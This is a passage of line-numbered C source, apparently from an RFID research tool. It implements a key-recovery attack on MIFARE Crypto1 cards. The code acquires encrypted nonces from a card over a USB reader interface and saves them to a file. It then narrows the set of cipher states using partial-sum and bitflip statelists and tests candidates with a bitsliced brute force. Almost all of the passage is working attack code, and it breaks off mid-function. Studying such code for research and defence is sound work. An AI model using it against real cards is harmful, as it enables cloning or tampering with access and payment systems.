710 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
711 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
712
713 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
714 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
715
716 do {
717 uint32_t nt_enc = 0;
718 uint8_t par_enc = 0;
719
720 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
721 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
722 total_added_nonces += add_nonce(nt_enc, par_enc);
723 total_num_nonces++;
724
725 if (first_byte_num == 256 ) {
726 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
727 if (!filter_flip_checked) {
728 Check_for_FilterFlipProperties();
729 filter_flip_checked = true;
730 }
731 num_good_first_bytes = estimate_second_byte_sum();
732 if (total_num_nonces > next_fivehundred) {
733 next_fivehundred = (total_num_nonces/500+1) * 500;
734 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
735 total_num_nonces,
736 total_added_nonces,
737 CONFIDENCE_THRESHOLD * 100.0,
738 num_good_first_bytes);
739 }
740 }
741
742 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
743
744 time1 = clock() - time1;
745 if ( time1 > 0 ) {
746 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
747 total_num_nonces,
748 ((float)time1)/CLOCKS_PER_SEC,
749 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
750 }
751 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
752
753 }
754
755 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
756 {
757 clock_t time1 = clock();
758 bool initialize = true;
759 bool field_off = false;
760 bool finished = false;
761 bool filter_flip_checked = false;
762 uint32_t flags = 0;
763 uint8_t write_buf[9];
764 uint32_t total_num_nonces = 0;
765 uint32_t next_fivehundred = 500;
766 uint32_t total_added_nonces = 0;
767 FILE *fnonces = NULL;
768 UsbCommand resp;
769
770 printf("Acquiring nonces...\n");
771
772 clearCommandBuffer();
773
774 do {
775 flags = 0;
776 flags |= initialize ? 0x0001 : 0;
777 flags |= slow ? 0x0002 : 0;
778 flags |= field_off ? 0x0004 : 0;
779 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
780 memcpy(c.d.asBytes, key, 6);
781
782 SendCommand(&c);
783
784 if (field_off) finished = true;
785
786 if (initialize) {
787 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
788 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
789
790 cuid = resp.arg[1];
791 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
792 if (nonce_file_write && fnonces == NULL) {
793 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
794 PrintAndLog("Could not create file nonces.bin");
795 return 3;
796 }
797 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
798 num_to_bytes(cuid, 4, write_buf);
799 fwrite(write_buf, 1, 4, fnonces);
800 fwrite(&trgBlockNo, 1, 1, fnonces);
801 fwrite(&trgKeyType, 1, 1, fnonces);
802 }
803 }
804
805 if (!initialize) {
806 uint32_t nt_enc1, nt_enc2;
807 uint8_t par_enc;
808 uint16_t num_acquired_nonces = resp.arg[2];
809 uint8_t *bufp = resp.d.asBytes;
810 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
811 nt_enc1 = bytes_to_num(bufp, 4);
812 nt_enc2 = bytes_to_num(bufp+4, 4);
813 par_enc = bytes_to_num(bufp+8, 1);
814
815 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
816 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
817 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
818 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
819
820
821 if (nonce_file_write) {
822 fwrite(bufp, 1, 9, fnonces);
823 }
824
825 bufp += 9;
826 }
827
828 total_num_nonces += num_acquired_nonces;
829 }
830
831 if (first_byte_num == 256 ) {
832 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
833 if (!filter_flip_checked) {
834 Check_for_FilterFlipProperties();
835 filter_flip_checked = true;
836 }
837 num_good_first_bytes = estimate_second_byte_sum();
838 if (total_num_nonces > next_fivehundred) {
839 next_fivehundred = (total_num_nonces/500+1) * 500;
840 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
841 total_num_nonces,
842 total_added_nonces,
843 CONFIDENCE_THRESHOLD * 100.0,
844 num_good_first_bytes);
845 }
846 if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
847 field_off = true; // switch off field with next SendCommand and then finish
848 }
849 }
850
851 if (!initialize) {
852 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
853 fclose(fnonces);
854 return 1;
855 }
856 if (resp.arg[0]) {
857 fclose(fnonces);
858 return resp.arg[0]; // error during nested_hard
859 }
860 }
861
862 initialize = false;
863
864 } while (!finished);
865
866
867 if (nonce_file_write) {
868 fclose(fnonces);
869 }
870
871 time1 = clock() - time1;
872 if ( time1 > 0 ) {
873 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
874 total_num_nonces,
875 ((float)time1)/CLOCKS_PER_SEC,
876 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
877 );
878 }
879 return 0;
880 }
881
882 static int init_partial_statelists(void)
883 {
884 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
885 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
886
887 printf("Allocating memory for partial statelists...\n");
888 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
889 for (uint16_t i = 0; i <= 16; i+=2) {
890 partial_statelist[i].len[odd_even] = 0;
891 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
892 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
893 if (partial_statelist[i].states[odd_even] == NULL) {
894 PrintAndLog("Cannot allocate enough memory. Aborting");
895 return 4;
896 }
897 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
898 partial_statelist[i].index[odd_even][j] = NULL;
899 }
900 }
901 }
902
903 printf("Generating partial statelists...\n");
904 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
905 uint32_t index = -1;
906 uint32_t num_of_states = 1<<20;
907 for (uint32_t state = 0; state < num_of_states; state++) {
908 uint16_t sum_property = PartialSumProperty(state, odd_even);
909 uint32_t *p = partial_statelist[sum_property].states[odd_even];
910 p += partial_statelist[sum_property].len[odd_even];
911 *p = state;
912 partial_statelist[sum_property].len[odd_even]++;
913 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
914 if ((state & index_mask) != index) {
915 index = state & index_mask;
916 }
917 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
918 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
919 }
920 }
921 // add End Of List markers
922 for (uint16_t i = 0; i <= 16; i += 2) {
923 uint32_t *p = partial_statelist[i].states[odd_even];
924 p += partial_statelist[i].len[odd_even];
925 *p = 0xffffffff;
926 }
927 }
928
929 return 0;
930 }
931
932 static void init_BitFlip_statelist(void)
933 {
934 printf("Generating bitflip statelist...\n");
935 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
936 uint32_t index = -1;
937 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
938 for (uint32_t state = 0; state < (1 << 20); state++) {
939 if (filter(state) != filter(state^1)) {
940 if ((state & index_mask) != index) {
941 index = state & index_mask;
942 }
943 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
944 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
945 }
946 *p++ = state;
947 }
948 }
949 // set len and add End Of List marker
950 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
951 *p = 0xffffffff;
952 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
953 }
954
955 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
956 {
957 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
958
959 if (p == NULL) return NULL;
960 while (*p < (state & mask)) p++;
961 if (*p == 0xffffffff) return NULL; // reached end of list, no match
962 if ((*p & mask) == (state & mask)) return p; // found a match.
963 return NULL; // no match
964 }
965
966 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
967 {
968 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
969 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
970 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
971 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
972 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
973 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
974 return !all_diff;
975 }
976
977 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
978 {
979 uint_fast8_t j_bit_mask = 0x01 << bit;
980 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
981 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
982 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
983 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
984 return all_diff;
985 }
986
987 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
988 {
989 if (odd_even) {
990 // odd bits
991 switch (num_common_bits) {
992 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
993 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
994 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
995 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
996 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
997 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
998 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
999 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
1000 }
1001 } else {
1002 // even bits
1003 switch (num_common_bits) {
1004 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1005 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1006 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1007 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1008 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1009 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1010 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1011 }
1012 }
1013
1014 return true; // valid state
1015 }
1016
1017 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1018 {
1019 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1020 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1021 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1022 uint_fast8_t j = common_bits(bytes_diff);
1023 uint32_t mask = 0xfffffff0;
1024 if (odd_even == ODD_STATE) {
1025 mask >>= j/2;
1026 } else {
1027 mask >>= (j+1)/2;
1028 }
1029 mask &= 0x000fffff;
1030 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1031 bool found_match = false;
1032 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1033 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1034 if (r*(16-s) + (16-r)*s == sum_a8) {
1035 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1036 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1037 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1038 if (p != NULL) {
1039 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1040 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1041 found_match = true;
1042 // if ((odd_even == ODD_STATE && state == test_state_odd)
1043 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1044 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1045 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1046 // }
1047 break;
1048 } else {
1049 // if ((odd_even == ODD_STATE && state == test_state_odd)
1050 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1051 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1052 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1053 // }
1054 }
1055 p++;
1056 }
1057 } else {
1058 // if ((odd_even == ODD_STATE && state == test_state_odd)
1059 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1060 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1061 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1062 // }
1063 }
1064 }
1065 }
1066 }
1067
1068 if (!found_match) {
1069 // if ((odd_even == ODD_STATE && state == test_state_odd)
1070 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1071 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1072 // }
1073 return false;
1074 }
1075 }
1076
1077 return true;
1078 }
1079
1080 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1081 {
1082 for (uint16_t i = 0; i < 256; i++) {
1083 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1084 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1085 uint_fast8_t j = common_bits(bytes_diff);
1086 uint32_t mask = 0xfffffff0;
1087 if (odd_even == ODD_STATE) {
1088 mask >>= j/2;
1089 } else {
1090 mask >>= (j+1)/2;
1091 }
1092 mask &= 0x000fffff;
1093 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1094 bool found_match = false;
1095 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1096 if (p != NULL) {
1097 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1098 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1099 found_match = true;
1100 // if ((odd_even == ODD_STATE && state == test_state_odd)
1101 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1102 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1103 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1104 // }
1105 break;
1106 } else {
1107 // if ((odd_even == ODD_STATE && state == test_state_odd)
1108 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1109 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1110 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1111 // }
1112 }
1113 p++;
1114 }
1115 } else {
1116 // if ((odd_even == ODD_STATE && state == test_state_odd)
1117 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1118 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1119 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1120 // }
1121 }
1122 if (!found_match) {
1123 // if ((odd_even == ODD_STATE && state == test_state_odd)
1124 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1125 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1126 // }
1127 return false;
1128 }
1129 }
1130
1131 }
1132
1133 return true;
1134 }
1135
1136 static struct sl_cache_entry {
1137 uint32_t *sl;
1138 uint32_t len;
1139 } sl_cache[17][17][2];
1140
1141 static void init_statelist_cache(void)
1142 {
1143 for (uint16_t i = 0; i < 17; i+=2) {
1144 for (uint16_t j = 0; j < 17; j+=2) {
1145 for (uint16_t k = 0; k < 2; k++) {
1146 sl_cache[i][j][k].sl = NULL;
1147 sl_cache[i][j][k].len = 0;
1148 }
1149 }
1150 }
1151 }
1152
1153 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1154 {
1155 uint32_t worstcase_size = 1<<20;
1156
1157 // check cache for existing results
1158 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1159 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1160 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1161 return 0;
1162 }
1163
1164 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1165 if (candidates->states[odd_even] == NULL) {
1166 PrintAndLog("Out of memory error.\n");
1167 return 4;
1168 }
1169 uint32_t *add_p = candidates->states[odd_even];
1170 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) {
1171 uint32_t search_mask = 0x000ffff0;
1172 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1173 if (p2 != NULL) {
1174 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) {
1175 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1176 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1177 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1178 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1179 *add_p++ = (*p1 << 4) | *p2;
1180 }
1181 }
1182 }
1183 p2++;
1184 }
1185 }
1186 }
1187
1188 // set end of list marker and len
1189 *add_p = 0xffffffff;
1190 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1191
1192 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1193
1194 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1195 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1196
1197 return 0;
1198 }
1199
1200 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1201 {
1202 statelist_t *new_candidates = NULL;
1203 if (current_candidates == NULL) {
1204 if (candidates == NULL) {
1205 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1206 }
1207 new_candidates = candidates;
1208 } else {
1209 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1210 }
1211 new_candidates->next = NULL;
1212 new_candidates->len[ODD_STATE] = 0;
1213 new_candidates->len[EVEN_STATE] = 0;
1214 new_candidates->states[ODD_STATE] = NULL;
1215 new_candidates->states[EVEN_STATE] = NULL;
1216 return new_candidates;
1217 }
1218
1219 static void TestIfKeyExists(uint64_t key)
1220 {
1221 struct Crypto1State *pcs;
1222 pcs = crypto1_create(key);
1223 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1224
1225 uint32_t state_odd = pcs->odd & 0x00ffffff;
1226 uint32_t state_even = pcs->even & 0x00ffffff;
1227 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1228
1229 uint64_t count = 0;
1230 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1231 bool found_odd = false;
1232 bool found_even = false;
1233 uint32_t *p_odd = p->states[ODD_STATE];
1234 uint32_t *p_even = p->states[EVEN_STATE];
1235 while (*p_odd != 0xffffffff) {
1236 if ((*p_odd & 0x00ffffff) == state_odd) {
1237 found_odd = true;
1238 break;
1239 }
1240 p_odd++;
1241 }
1242 while (*p_even != 0xffffffff) {
1243 if ((*p_even & 0x00ffffff) == state_even) {
1244 found_even = true;
1245 }
1246 p_even++;
1247 }
1248 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1249 if (found_odd && found_even) {
1250 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1251 count, log(count)/log(2),
1252 maximum_states, log(maximum_states)/log(2),
1253 (count>>23)/60);
1254 if (write_stats) {
1255 fprintf(fstats, "1\n");
1256 }
1257 crypto1_destroy(pcs);
1258 return;
1259 }
1260 }
1261
1262 printf("Key NOT found!\n");
1263 if (write_stats) {
1264 fprintf(fstats, "0\n");
1265 }
1266 crypto1_destroy(pcs);
1267 }
1268
1269 static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1270 {
1271 printf("Generating crypto1 state candidates... \n");
1272
1273 statelist_t *current_candidates = NULL;
1274 // estimate maximum candidate states
1275 maximum_states = 0;
1276 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1277 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1278 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1279 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1280 }
1281 }
1282 }
1283 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0));
1284
1285 init_statelist_cache();
1286
1287 for (uint16_t p = 0; p <= 16; p += 2) {
1288 for (uint16_t q = 0; q <= 16; q += 2) {
1289 if (p*(16-q) + (16-p)*q == sum_a0) {
1290 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1291 p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1292 for (uint16_t r = 0; r <= 16; r += 2) {
1293 for (uint16_t s = 0; s <= 16; s += 2) {
1294 if (r*(16-s) + (16-r)*s == sum_a8) {
1295 current_candidates = add_more_candidates(current_candidates);
1296 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1297 // and eliminate the need to calculate the other part
1298 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1299 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1300 add_matching_states(current_candidates, p, r, ODD_STATE);
1301 if(current_candidates->len[ODD_STATE]) {
1302 add_matching_states(current_candidates, q, s, EVEN_STATE);
1303 } else {
1304 current_candidates->len[EVEN_STATE] = 0;
1305 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1306 *p = 0xffffffff;
1307 }
1308 } else {
1309 add_matching_states(current_candidates, q, s, EVEN_STATE);
1310 if(current_candidates->len[EVEN_STATE]) {
1311 add_matching_states(current_candidates, p, r, ODD_STATE);
1312 } else {
1313 current_candidates->len[ODD_STATE] = 0;
1314 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1315 *p = 0xffffffff;
1316 }
1317 }
1318 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1319 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1320 }
1321 }
1322 }
1323 }
1324 }
1325 }
1326
1327
1328 maximum_states = 0;
1329 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1330 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1331 }
1332 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
1333 if (write_stats) {
1334 if (maximum_states != 0) {
1335 fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0));
1336 } else {
1337 fprintf(fstats, "%1.1f;", 0.0);
1338 }
1339 }
1340 }
1341
1342 static void free_candidates_memory(statelist_t *sl)
1343 {
1344 if (sl == NULL) {
1345 return;
1346 } else {
1347 free_candidates_memory(sl->next);
1348 free(sl);
1349 }
1350 }
1351
1352 static void free_statelist_cache(void)
1353 {
1354 for (uint16_t i = 0; i < 17; i+=2) {
1355 for (uint16_t j = 0; j < 17; j+=2) {
1356 for (uint16_t k = 0; k < 2; k++) {
1357 free(sl_cache[i][j][k].sl);
1358 }
1359 }
1360 }
1361 }
1362
1363 size_t keys_found = 0;
1364 size_t bucket_count = 0;
1365 statelist_t* buckets[128];
1366 size_t total_states_tested = 0;
1367 size_t thread_count = 4;
1368
1369 // these bitsliced states will hold identical states in all slices
1370 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1371
1372 // arrays of bitsliced states with identical values in all slices
1373 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1374 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1375
1376 #define EXACT_COUNT
1377
1378 static const uint64_t crack_states_bitsliced(statelist_t *p){
1379 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1380 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1381 uint64_t key = -1;
1382 uint8_t bSize = sizeof(bitslice_t);
1383
1384 #ifdef EXACT_COUNT
1385 size_t bucket_states_tested = 0;
1386 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1387 #else
1388 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1389 #endif
1390
1391 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1392 size_t bitsliced_blocks = 0;
1393 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1394
1395 // bitslice all the even states
1396 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1397
1398 #ifdef __WIN32
1399 #ifdef __MINGW32__
1400 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1401 #else
1402 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1403 #endif
1404 #else
1405 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1406 #endif
1407
1408 if ( !lstate_p ) {
1409 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1410 return key;
1411 }
1412
1413 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1414
1415 // bitslice even half-states
1416 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1417 #ifdef EXACT_COUNT
